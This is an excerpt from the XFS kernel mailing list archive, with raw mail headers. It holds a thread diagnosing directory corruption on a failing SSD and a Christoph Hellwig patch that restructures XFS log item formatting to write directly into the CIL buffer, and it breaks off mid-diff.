1386864884 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/11/13, 5:01 PM, Dave Chinner wrote: > On Wed, Dec 11, 2013 at 12:27:25PM -0500, Dave Jones wrote: >> Powered up my desktop this morning and noticed I couldn't cd into ~/Mail >> dmesg didn't look good. "XFS: Internal error XFS_WANT_CORRUPTED_RETURN" >> http://codemonkey.org.uk/junk/xfs-1.txt > > They came from xfs_dir3_block_verify() on read IO completion, which > indicates that the corruption was on disk and in the directory > structure. Yeah, definitely a verifier error: > > XFS (sda3): metadata I/O error: block 0x2e790 ("xfs_trans_read_buf_map") error 117 numblks 8 > > Are you running a CRC enabled filesystem? (i.e. mkfs.xfs -m crc=1) > > Is there any evidence that this verifier has fired in the past on > write? If not, then it's a good chance that it's a media error > causing this, because the same verifier runs when the metadata is > written to ensure we are not writing bas stuff to disk. Dave C, have you given any thought to how to make the verifier errors more actionable? If davej throws up his hands, the rest of the world is obviously in trouble. ;) To the inexperienced this looks like a "crash" thanks to the backtrace. I do understand that it's necessary for bug reports, but I wonder if we could preface it with something informative or instructive. We also don't get a block number or inode number, although you or I can dig the inode number out of the hexdump, in this case. We also don't get any details of what the values in the failed check were; not from the check macro itself or from the hexdump, necessarily, since it only prints the first handful of bytes. Any ideas here? -Eric >> I rebooted into single user mode, and ran xfs_repair on /dev/sda3 (/home). >> It fixed up a bunch of stuff, but ended up eating ~/.procmailrc entirely >> (no sign of it in lost & found), and a bunch of filenames got garbled >> 'december' became 'decemcer' for eg. Looks like a couple kernel trees ended >> up in lost & found. > > Single bit errors in directory names? That really does point towards > media errors, not a filesystem error being the cause. > >> After rebooting back into multi-user mode, I looked in dmesg again to be sure >> and this time sda2 was complaining.. >> >> http://codemonkey.org.uk/junk/xfs-2.txt > > Exaclty the same - directory blocks failing read verification. > >> Same drill, reboot, xfs_repair. Looks like a bunch of man pages ended up in lost & found. >> >> Thoughts ? Could sda be dying ? (It is a fairly old crappy ssd) > > I'd seriously be considering replacing the SSD as the first step. > If you then see failures on a known good drive, we'll need to dig > further. > > Cheers, > > Dave. > From davej@redhat.com Thu Dec 12 10:20:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id AE7D57F54 for ; Thu, 12 Dec 2013 10:20:49 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 88B4A8F8040 for ; Thu, 12 Dec 2013 08:20:49 -0800 (PST) X-ASG-Debug-ID: 1386865248-04cb6c537e6dba10001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id TNqpxkKns5idPHG2 for ; Thu, 12 Dec 2013 08:20:48 -0800 (PST) X-Barracuda-Envelope-From: davej@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id rBCGKjOY000903 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 12 Dec 2013 11:20:45 -0500 Received: from gelk.kernelslacker.org (ovpn-113-191.phx2.redhat.com [10.3.113.191]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id rBCGKdIL025701 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 12 Dec 2013 11:20:45 -0500 Received: from gelk.kernelslacker.org (localhost [127.0.0.1]) by gelk.kernelslacker.org (8.14.7/8.14.7) with ESMTP id rBCGKcRt024832; Thu, 12 Dec 2013 11:20:38 -0500 Received: (from davej@localhost) by gelk.kernelslacker.org (8.14.7/8.14.7/Submit) id rBCGKaBI024830; Thu, 12 Dec 2013 11:20:36 -0500 X-Authentication-Warning: gelk.kernelslacker.org: davej set sender to davej@redhat.com using -f Date: Thu, 12 Dec 2013 11:20:36 -0500 From: Dave Jones To: Eric Sandeen Cc: Dave Chinner , xfs@oss.sgi.com Subject: Re: XFS: Internal error XFS_WANT_CORRUPTED_RETURN Message-ID: <20131212162036.GA9057@redhat.com> X-ASG-Orig-Subj: Re: XFS: Internal error XFS_WANT_CORRUPTED_RETURN References: <20131211172725.GA4606@redhat.com> <20131211230128.GM10988@dastard> <52A9E0EF.1000206@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52A9E0EF.1000206@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1386865248 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, Dec 12, 2013 at 10:14:39AM -0600, Eric Sandeen wrote: > On 12/11/13, 5:01 PM, Dave Chinner wrote: > > On Wed, Dec 11, 2013 at 12:27:25PM -0500, Dave Jones wrote: > >> Powered up my desktop this morning and noticed I couldn't cd into ~/Mail > >> dmesg didn't look good. "XFS: Internal error XFS_WANT_CORRUPTED_RETURN" > >> http://codemonkey.org.uk/junk/xfs-1.txt > > > > They came from xfs_dir3_block_verify() on read IO completion, which > > indicates that the corruption was on disk and in the directory > > structure. Yeah, definitely a verifier error: > > > > XFS (sda3): metadata I/O error: block 0x2e790 ("xfs_trans_read_buf_map") error 117 numblks 8 > > > > Are you running a CRC enabled filesystem? (i.e. mkfs.xfs -m crc=1) > > > > Is there any evidence that this verifier has fired in the past on > > write? If not, then it's a good chance that it's a media error > > causing this, because the same verifier runs when the metadata is > > written to ensure we are not writing bas stuff to disk. > > Dave C, have you given any thought to how to make the verifier errors more > actionable? If davej throws up his hands, the rest of the world is obviously > in trouble. ;) > > To the inexperienced this looks like a "crash" thanks to the backtrace. > I do understand that it's necessary for bug reports, but I wonder if we > could preface it with something informative or instructive. > > We also don't get a block number or inode number, although you or I can > dig the inode number out of the hexdump, in this case. > > We also don't get any details of what the values in the failed check were; > not from the check macro itself or from the hexdump, necessarily, since > it only prints the first handful of bytes. This morning, same ssd spewed a bunch of other errors when find ran over a kernel tree.. http://paste.fedoraproject.org/61189/38686344 in that case I did get a block number (the irony of the failing block # is not lost on me) As soon as the new one arrives, I'll try some destructive tests on the failing one. I'm just happy it's stayed alive long enough for me to get the data off it. When my Intel SSD failed earlier this year it was just a brick. Dave From BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 12 10:25:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1D20229DF8 for ; Thu, 12 Dec 2013 10:25:09 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7CBD2AC002 for ; Thu, 12 Dec 2013 08:25:08 -0800 (PST) X-ASG-Debug-ID: 1386865504-04cbb041686e1ce0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id kMAHLsZXpFxGEYbv (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 08:25:06 -0800 (PST) X-Barracuda-Envelope-From: BATV+c880b0b8f659bc2ba2f7+3763+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vr94S-0000gh-MF for xfs@oss.sgi.com; Thu, 12 Dec 2013 16:25:04 +0000 Date: Thu, 12 Dec 2013 08:25:04 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 06/10 v3] xfs: format log items write directly into the linear CIL buffer Message-ID: <20131212162504.GA31270@infradead.org> X-ASG-Orig-Subj: [PATCH 06/10 v3] xfs: format log items write directly into the linear CIL buffer References: <20131129083919.207915844@bombadil.infradead.org> <20131129084001.028583376@bombadil.infradead.org> <20131211120341.GA6116@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131211120341.GA6116@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386865506 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Instead of setting up pointers to memory locations in iop_format which then get copied into the CIL linear buffer after return move the copy into the individual inode items. This avoids the need to always have a memory block in the exact same layout that gets written into the log around, and allow the log items to be much more flexible in their in-memory layouts. The only caveat is that we need to properly align the data for each iovec so that don't have structures misaligned in subsequent iovecs. Note that all log item format routines now need to be careful to modify the copy of the item that was placed into the CIL after calls to xlog_copy_iovec instead of the in-memory copy. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner --- fs/xfs/xfs_buf_item.c | 29 +++++++------- fs/xfs/xfs_dquot_item.c | 19 +++++----- fs/xfs/xfs_extfree_item.c | 10 +++-- fs/xfs/xfs_icreate_item.c | 5 ++- fs/xfs/xfs_inode_item.c | 92 ++++++++++++++++++++++----------------------- fs/xfs/xfs_log.h | 41 ++++++++++++++++++-- fs/xfs/xfs_log_cil.c | 41 +++++--------------- fs/xfs/xfs_trans.h | 2 +- 8 files changed, 125 insertions(+), 114 deletions(-) diff --git a/fs/xfs/xfs_buf_item.c b/fs/xfs/xfs_buf_item.c index d49419d..7641173 100644 --- a/fs/xfs/xfs_buf_item.c +++ b/fs/xfs/xfs_buf_item.c @@ -184,6 +184,7 @@ xfs_buf_item_size( static inline void xfs_buf_item_copy_iovec( + struct xfs_log_vec *lv, struct xfs_log_iovec **vecp, struct xfs_buf *bp, uint offset, @@ -191,7 +192,7 @@ xfs_buf_item_copy_iovec( uint nbits) { offset += first_bit * XFS_BLF_CHUNK; - xlog_copy_iovec(vecp, XLOG_REG_TYPE_BCHUNK, + xlog_copy_iovec(lv, vecp, XLOG_REG_TYPE_BCHUNK, xfs_buf_offset(bp, offset), nbits * XFS_BLF_CHUNK); } @@ -211,13 +212,13 @@ xfs_buf_item_straddle( static void xfs_buf_item_format_segment( struct xfs_buf_log_item *bip, + struct xfs_log_vec *lv, struct xfs_log_iovec **vecp, uint offset, struct xfs_buf_log_format *blfp) { struct xfs_buf *bp = bip->bli_buf; uint base_size; - uint nvecs; int first_bit; int last_bit; int next_bit; @@ -233,18 +234,17 @@ xfs_buf_item_format_segment( */ base_size = xfs_buf_log_format_size(blfp); - nvecs = 0; first_bit = xfs_next_bit(blfp->blf_data_map, blfp->blf_map_size, 0); if (!(bip->bli_flags & XFS_BLI_STALE) && first_bit == -1) { /* * If the map is not be dirty in the transaction, mark * the size as zero and do not advance the vector pointer. */ - goto out; + return; } - xlog_copy_iovec(vecp, XLOG_REG_TYPE_BFORMAT, blfp, base_size); - nvecs = 1; + blfp = xlog_copy_iovec(lv, vecp, XLOG_REG_TYPE_BFORMAT, blfp, base_size); + blfp->blf_size = 1; if (bip->bli_flags & XFS_BLI_STALE) { /* @@ -254,7 +254,7 @@ xfs_buf_item_format_segment( */ trace_xfs_buf_item_format_stale(bip); ASSERT(blfp->blf_flags & XFS_BLF_CANCEL); - goto out; + return; } @@ -280,15 +280,15 @@ xfs_buf_item_format_segment( * same set of bits so just keep counting and scanning. */ if (next_bit == -1) { - xfs_buf_item_copy_iovec(vecp, bp, offset, + xfs_buf_item_copy_iovec(lv, vecp, bp, offset, first_bit, nbits); - nvecs++; + blfp->blf_size++; break; } else if (next_bit != last_bit + 1 || xfs_buf_item_straddle(bp, offset, next_bit, last_bit)) { - xfs_buf_item_copy_iovec(vecp, bp, offset, + xfs_buf_item_copy_iovec(lv, vecp, bp, offset, first_bit, nbits); - nvecs++; + blfp->blf_size++; first_bit = next_bit; last_bit = next_bit; nbits = 1; @@ -297,8 +297,6 @@ xfs_buf_item_format_segment( nbits++; } } -out: - blfp->blf_size = nvecs; } /* @@ -310,10 +308,11 @@ out: STATIC void xfs_buf_item_format( struct xfs_log_item *lip, - struct xfs_log_iovec *vecp) + struct xfs_log_vec *lv) { struct xfs_buf_log_item *bip = BUF_ITEM(lip); struct xfs_buf *bp = bip->bli_buf; + struct xfs_log_iovec *vecp = NULL; uint offset = 0; int i; @@ -354,7 +353,7 @@ xfs_buf_item_format( } for (i = 0; i < bip->bli_format_count; i++) { - xfs_buf_item_format_segment(bip, &vecp, offset, + xfs_buf_item_format_segment(bip, lv, &vecp, offset, &bip->bli_formats[i]); offset += bp->b_maps[i].bm_len; } diff --git a/fs/xfs/xfs_dquot_item.c b/fs/xfs/xfs_dquot_item.c index ca354a8..946d588 100644 --- a/fs/xfs/xfs_dquot_item.c +++ b/fs/xfs/xfs_dquot_item.c @@ -57,18 +57,19 @@ xfs_qm_dquot_logitem_size( STATIC void xfs_qm_dquot_logitem_format( struct xfs_log_item *lip, - struct xfs_log_iovec *vecp) + struct xfs_log_vec *lv) { struct xfs_dq_logitem *qlip = DQUOT_ITEM(lip); + struct xfs_log_iovec *vecp = NULL; - xlog_copy_iovec(&vecp, XLOG_REG_TYPE_QFORMAT, + qlip->qli_format.qlf_size = 2; + + xlog_copy_iovec(lv, &vecp, XLOG_REG_TYPE_QFORMAT, &qlip->qli_format, sizeof(struct xfs_dq_logformat)); - xlog_copy_iovec(&vecp, XLOG_REG_TYPE_DQUOT, + xlog_copy_iovec(lv, &vecp, XLOG_REG_TYPE_DQUOT, &qlip->qli_dquot->q_core, sizeof(struct xfs_disk_dquot)); - - qlip->qli_format.qlf_size = 2; } /* @@ -302,17 +303,17 @@ xfs_qm_qoff_logitem_size( STATIC void xfs_qm_qoff_logitem_format( struct xfs_log_item *lip, - struct xfs_log_iovec *vecp) + struct xfs_log_vec *lv) { struct xfs_qoff_logitem *qflip = QOFF_ITEM(lip); + struct xfs_log_iovec *vecp = NULL; ASSERT(qflip->qql_format.qf_type == XFS_LI_QUOTAOFF); + qflip->qql_format.qf_size = 1; - xlog_copy_iovec(&vecp, XLOG_REG_TYPE_QUOTAOFF, + xlog_copy_iovec(lv, &vecp, XLOG_REG_TYPE_QUOTAOFF, &qflip->qql_format, sizeof(struct xfs_qoff_logitem)); - - qflip->qql_format.qf_size = 1; } /* diff --git a/fs/xfs/xfs_extfree_item.c b/fs/xfs/xfs_extfree_item.c index 08823ec..fb7a4c1 100644 --- a/fs/xfs/xfs_extfree_item.c +++ b/fs/xfs/xfs_extfree_item.c @@ -102,9 +102,10 @@ xfs_efi_item_size( STATIC void xfs_efi_item_format( struct xfs_log_item *lip, - struct xfs_log_iovec *vecp) + struct xfs_log_vec *lv) { struct xfs_efi_log_item *efip = EFI_ITEM(lip); + struct xfs_log_iovec *vecp = NULL; ASSERT(atomic_read(&efip->efi_next_extent) == efip->efi_format.efi_nextents); @@ -112,7 +113,7 @@ xfs_efi_item_format( efip->efi_format.efi_type = XFS_LI_EFI; efip->efi_format.efi_size = 1; - xlog_copy_iovec(&vecp, XLOG_REG_TYPE_EFI_FORMAT, + xlog_copy_iovec(lv, &vecp, XLOG_REG_TYPE_EFI_FORMAT, &efip->efi_format, xfs_efi_item_sizeof(efip)); } @@ -368,16 +369,17 @@ xfs_efd_item_size( STATIC void xfs_efd_item_format( struct xfs_log_item *lip, - struct xfs_log_iovec *vecp) + struct xfs_log_vec *lv) { struct xfs_efd_log_item *efdp = EFD_ITEM(lip); + struct xfs_log_iovec *vecp = NULL; ASSERT(efdp->efd_next_extent == efdp->efd_format.efd_nextents); efdp->efd_format.efd_type = XFS_LI_EFD; efdp->efd_format.efd_size = 1; - xlog_copy_iovec(&vecp, XLOG_REG_TYPE_EFD_FORMAT, + xlog_copy_iovec(lv, &vecp, XLOG_REG_TYPE_EFD_FORMAT, &efdp->efd_format, xfs_efd_item_sizeof(efdp)); } diff --git a/fs/xfs/xfs_icreate_item.c b/fs/xfs/xfs_icreate_item.c index 5751fa8..7e45492 100644 --- a/fs/xfs/xfs_icreate_item.c +++ b/fs/xfs/xfs_icreate_item.c @@ -59,11 +59,12 @@ xfs_icreate_item_size( STATIC void xfs_icreate_item_format( struct xfs_log_item *lip, - struct xfs_log_iovec *vecp) + struct xfs_log_vec *lv) { struct xfs_icreate_item *icp = ICR_ITEM(lip); + struct xfs_log_iovec *vecp = NULL; - xlog_copy_iovec(&vecp, XLOG_REG_TYPE_ICREATE, + xlog_copy_iovec(lv, &vecp, XLOG_REG_TYPE_ICREATE, &icp->ic_format, sizeof(struct xfs_icreate_log)); } diff --git a/fs/xfs/xfs_inode_item.c b/fs/xfs/xfs_inode_item.c index 73002db..35dd24a 100644 --- a/fs/xfs/xfs_inode_item.c +++ b/fs/xfs/xfs_inode_item.c @@ -163,6 +163,7 @@ xfs_inode_item_size( STATIC int xfs_inode_item_format_extents( struct xfs_inode *ip, + struct xfs_log_vec *lv, struct xfs_log_iovec **vecp, int whichfork, int type) @@ -177,7 +178,7 @@ xfs_inode_item_format_extents( ip->i_itemp->ili_aextents_buf = ext_buffer; len = xfs_iextents_copy(ip, ext_buffer, whichfork); - xlog_copy_iovec(vecp, type, ext_buffer, len); + xlog_copy_iovec(lv, vecp, type, ext_buffer, len); return len; } @@ -212,8 +213,9 @@ xfs_inode_item_format_v1_inode( STATIC void xfs_inode_item_format_data_fork( struct xfs_inode_log_item *iip, - struct xfs_log_iovec **vecp, - int *nvecs) + struct xfs_inode_log_format *ilf, + struct xfs_log_vec *lv, + struct xfs_log_iovec **vecp) { struct xfs_inode *ip = iip->ili_inode; size_t data_bytes; @@ -239,19 +241,19 @@ xfs_inode_item_format_data_fork( * extents, so just point to the * real extents array. */ - xlog_copy_iovec(vecp, XLOG_REG_TYPE_IEXT, + xlog_copy_iovec(lv, vecp, XLOG_REG_TYPE_IEXT, ip->i_df.if_u1.if_extents, ip->i_df.if_bytes); - iip->ili_format.ilf_dsize = ip->i_df.if_bytes; + ilf->ilf_dsize = ip->i_df.if_bytes; } else #endif { - iip->ili_format.ilf_dsize = - xfs_inode_item_format_extents(ip, vecp, + ilf->ilf_dsize = + xfs_inode_item_format_extents(ip, lv, vecp, XFS_DATA_FORK, XLOG_REG_TYPE_IEXT); ASSERT(iip->ili_format.ilf_dsize <= ip->i_df.if_bytes); } - (*nvecs)++; + ilf->ilf_size++; } else { iip->ili_fields &= ~XFS_ILOG_DEXT; } @@ -264,11 +266,11 @@ xfs_inode_item_format_data_fork( if ((iip->ili_fields & XFS_ILOG_DBROOT) && ip->i_df.if_broot_bytes > 0) { ASSERT(ip->i_df.if_broot != NULL); - xlog_copy_iovec(vecp, XLOG_REG_TYPE_IBROOT, + xlog_copy_iovec(lv, vecp, XLOG_REG_TYPE_IBROOT, ip->i_df.if_broot, ip->i_df.if_broot_bytes); - (*nvecs)++; - iip->ili_format.ilf_dsize = ip->i_df.if_broot_bytes; + ilf->ilf_dsize = ip->i_df.if_broot_bytes; + ilf->ilf_size++; } else { ASSERT(!(iip->ili_fields & XFS_ILOG_DBROOT)); @@ -291,10 +293,10 @@ xfs_inode_item_format_data_fork( ip->i_df.if_real_bytes == data_bytes); ASSERT(ip->i_df.if_u1.if_data != NULL); ASSERT(ip->i_d.di_size > 0); - xlog_copy_iovec(vecp, XLOG_REG_TYPE_ILOCAL, + xlog_copy_iovec(lv, vecp, XLOG_REG_TYPE_ILOCAL, ip->i_df.if_u1.if_data, data_bytes); - (*nvecs)++; - iip->ili_format.ilf_dsize = (unsigned)data_bytes; + ilf->ilf_dsize = (unsigned)data_bytes; + ilf->ilf_size++; } else { iip->ili_fields &= ~XFS_ILOG_DDATA; } @@ -303,19 +305,15 @@ xfs_inode_item_format_data_fork( iip->ili_fields &= ~(XFS_ILOG_DDATA | XFS_ILOG_DBROOT | XFS_ILOG_DEXT | XFS_ILOG_UUID); - if (iip->ili_fields & XFS_ILOG_DEV) { - iip->ili_format.ilf_u.ilfu_rdev = - ip->i_df.if_u2.if_rdev; - } + if (iip->ili_fields & XFS_ILOG_DEV) + ilf->ilf_u.ilfu_rdev = ip->i_df.if_u2.if_rdev; break; case XFS_DINODE_FMT_UUID: iip->ili_fields &= ~(XFS_ILOG_DDATA | XFS_ILOG_DBROOT | XFS_ILOG_DEXT | XFS_ILOG_DEV); - if (iip->ili_fields & XFS_ILOG_UUID) { - iip->ili_format.ilf_u.ilfu_uuid = - ip->i_df.if_u2.if_uuid; - } + if (iip->ili_fields & XFS_ILOG_UUID) + ilf->ilf_u.ilfu_uuid = ip->i_df.if_u2.if_uuid; break; default: ASSERT(0); @@ -326,8 +324,9 @@ xfs_inode_item_format_data_fork( STATIC void xfs_inode_item_format_attr_fork( struct xfs_inode_log_item *iip, - struct xfs_log_iovec **vecp, - int *nvecs) + struct xfs_inode_log_format *ilf, + struct xfs_log_vec *lv, + struct xfs_log_iovec **vecp) { struct xfs_inode *ip = iip->ili_inode; size_t data_bytes; @@ -348,17 +347,17 @@ xfs_inode_item_format_attr_fork( * There are not delayed allocation extents * for attributes, so just point at the array. */ - xlog_copy_iovec(vecp, XLOG_REG_TYPE_IATTR_EXT, + xlog_copy_iovec(lv, vecp, XLOG_REG_TYPE_IATTR_EXT, ip->i_afp->if_u1.if_extents, ip->i_afp->if_bytes); - iip->ili_format.ilf_asize = ip->i_afp->if_bytes; + ilf->ilf_asize = ip->i_afp->if_bytes; #else ASSERT(iip->ili_aextents_buf == NULL); - iip->ili_format.ilf_asize = - xfs_inode_item_format_extents(ip, vecp, + ilf->ilf_asize = + xfs_inode_item_format_extents(ip, lv, vecp, XFS_ATTR_FORK, XLOG_REG_TYPE_IATTR_EXT); #endif - (*nvecs)++; + ilf->ilf_size++; } else { iip->ili_fields &= ~XFS_ILOG_AEXT; } @@ -371,11 +370,11 @@ xfs_inode_item_format_attr_fork( ip->i_afp->if_broot_bytes > 0) { ASSERT(ip->i_afp->if_broot != NULL); - xlog_copy_iovec(vecp, XLOG_REG_TYPE_IATTR_BROOT, + xlog_copy_iovec(lv, vecp, XLOG_REG_TYPE_IATTR_BROOT, ip->i_afp->if_broot, ip->i_afp->if_broot_bytes); - (*nvecs)++; - iip->ili_format.ilf_asize = ip->i_afp->if_broot_bytes; + ilf->ilf_asize = ip->i_afp->if_broot_bytes; + ilf->ilf_size++; } else { iip->ili_fields &= ~XFS_ILOG_ABROOT; } @@ -395,11 +394,11 @@ xfs_inode_item_format_attr_fork( ASSERT(ip->i_afp->if_real_bytes == 0 || ip->i_afp->if_real_bytes == data_bytes); ASSERT(ip->i_afp->if_u1.if_data != NULL); - xlog_copy_iovec(vecp, XLOG_REG_TYPE_IATTR_LOCAL, + xlog_copy_iovec(lv, vecp, XLOG_REG_TYPE_IATTR_LOCAL, ip->i_afp->if_u1.if_data, data_bytes); - (*nvecs)++; - iip->ili_format.ilf_asize = (unsigned)data_bytes; + ilf->ilf_asize = (unsigned)data_bytes; + ilf->ilf_size++; } else { iip->ili_fields &= ~XFS_ILOG_ADATA; } @@ -420,28 +419,28 @@ xfs_inode_item_format_attr_fork( STATIC void xfs_inode_item_format( struct xfs_log_item *lip, - struct xfs_log_iovec *vecp) + struct xfs_log_vec *lv) { struct xfs_inode_log_item *iip = INODE_ITEM(lip); struct xfs_inode *ip = iip->ili_inode; - uint nvecs; + struct xfs_inode_log_format *ilf; + struct xfs_log_iovec *vecp = NULL; - xlog_copy_iovec(&vecp, XLOG_REG_TYPE_IFORMAT, + ilf = xlog_copy_iovec(lv, &vecp, XLOG_REG_TYPE_IFORMAT, &iip->ili_format, sizeof(struct xfs_inode_log_format)); - nvecs = 1; - - xlog_copy_iovec(&vecp, XLOG_REG_TYPE_ICORE, - &ip->i_d, - xfs_icdinode_size(ip->i_d.di_version)); - nvecs++; + ilf->ilf_size = 1; if (ip->i_d.di_version == 1) xfs_inode_item_format_v1_inode(ip); + xlog_copy_iovec(lv, &vecp, XLOG_REG_TYPE_ICORE, + &ip->i_d, + xfs_icdinode_size(ip->i_d.di_version)); + ilf->ilf_size++; - xfs_inode_item_format_data_fork(iip, &vecp, &nvecs); + xfs_inode_item_format_data_fork(iip, ilf, lv, &vecp); if (XFS_IFORK_Q(ip)) { - xfs_inode_item_format_attr_fork(iip, &vecp, &nvecs); + xfs_inode_item_format_attr_fork(iip, ilf, lv, &vecp); } else { iip->ili_fields &= ~(XFS_ILOG_ADATA | XFS_ILOG_ABROOT | XFS_ILOG_AEXT); @@ -455,7 +454,6 @@ xfs_inode_item_format( */ iip->ili_format.ilf_fields = XFS_ILOG_CORE | (iip->ili_fields & ~XFS_ILOG_TIMESTAMP); - iip->ili_format.ilf_size = nvecs; } /* diff --git a/fs/xfs/xfs_log.h b/fs/xfs/xfs_log.h index 384c6c4..b0f4ef7 100644 --- a/fs/xfs/xfs_log.h +++ b/fs/xfs/xfs_log.h @@ -31,18 +31,51 @@ struct xfs_log_vec { #define XFS_LOG_VEC_ORDERED (-1) static inline void * -xlog_copy_iovec(struct xfs_log_iovec **vecp, uint type, void *data, int len) +xlog_prepare_iovec(struct xfs_log_vec *lv, struct xfs_log_iovec **vecp, + uint type) { struct xfs_log_iovec *vec = *vecp; + if (vec) { + ASSERT(vec - lv->lv_iovecp < lv->lv_niovecs); + vec++; + } else { + vec = &lv->lv_iovecp[0]; + } + vec->i_type = type; - vec->i_addr = data; - vec->i_len = len; + vec->i_addr = lv->lv_buf + lv->lv_buf_len; + + ASSERT(IS_ALIGNED((unsigned long)vec->i_addr, sizeof(uint64_t))); - *vecp = vec + 1; + *vecp = vec; return vec->i_addr; } +static inline void +xlog_finish_iovec(struct xfs_log_vec *lv, struct xfs_log_iovec *vec, int len) +{ + /* + * We need to make sure the next buffer is naturally aligned for the + * biggest basic data type we put into it. We already accounted for + * this when sizing the buffer. + */ + lv->lv_buf_len += round_up(len, sizeof(uint64_t)); + vec->i_len = len; +} + +static inline void * +xlog_copy_iovec(struct xfs_log_vec *lv, struct xfs_log_iovec **vecp, + uint type, void *data, int len) +{ + void *buf; + + buf = xlog_prepare_iovec(lv, vecp, type); + memcpy(buf, data, len); + xlog_finish_iovec(lv, *vecp, len); + return buf; +} + /* * Structure used to pass callback function and the function's argument * to the log manager. diff --git a/fs/xfs/xfs_log_cil.c b/fs/xfs/xfs_log_cil.c index 0a7a8ce..cdebd83 100644 --- a/fs/xfs/xfs_log_cil.c +++ b/fs/xfs/xfs_log_cil.c @@ -82,36 +82,6 @@ xlog_cil_init_post_recovery( log->l_curr_block); } -STATIC int -xlog_cil_lv_item_format( - struct xfs_log_item *lip, - struct xfs_log_vec *lv) -{ - int index; - char *ptr; - - /* format new vectors into array */ - lip->li_ops->iop_format(lip, lv->lv_iovecp); - - /* copy data into existing array */ - ptr = lv->lv_buf; - for (index = 0; index < lv->lv_niovecs; index++) { - struct xfs_log_iovec *vec = &lv->lv_iovecp[index]; - - memcpy(ptr, vec->i_addr, vec->i_len); - vec->i_addr = ptr; - ptr += vec->i_len; - } - - /* - * some size calculations for log vectors over-estimate, so the caller - * doesn't know the amount of space actually used by the item. Return - * the byte count to the caller so they can check and store it - * appropriately. - */ - return ptr - lv->lv_buf; -} - /* * Prepare the log item for insertion into the CIL. Calculate the difference in * log space and vectors it will consume, and if it is a new item pin it as @@ -232,6 +202,13 @@ xlog_cil_insert_format_items( nbytes = 0; } + /* + * We 64-bit align the length of each iovec so that the start + * of the next one is naturally aligned. We'll need to + * account for that slack space here. + */ + nbytes += niovecs * sizeof(uint64_t); + /* grab the old item if it exists for reservation accounting */ old_lv = lip->li_lv; @@ -272,9 +249,9 @@ xlog_cil_insert_format_items( lv->lv_niovecs = niovecs; /* The allocated data region lies beyond the iovec region */ + lv->lv_buf_len = 0; lv->lv_buf = (char *)lv + buf_size - nbytes; - - lv->lv_buf_len = xlog_cil_lv_item_format(lip, lv); + lip->li_ops->iop_format(lip, lv); insert: ASSERT(lv->lv_buf_len <= nbytes); xfs_cil_prepare_item(log, lv, old_lv, diff_len, diff_iovecs); diff --git 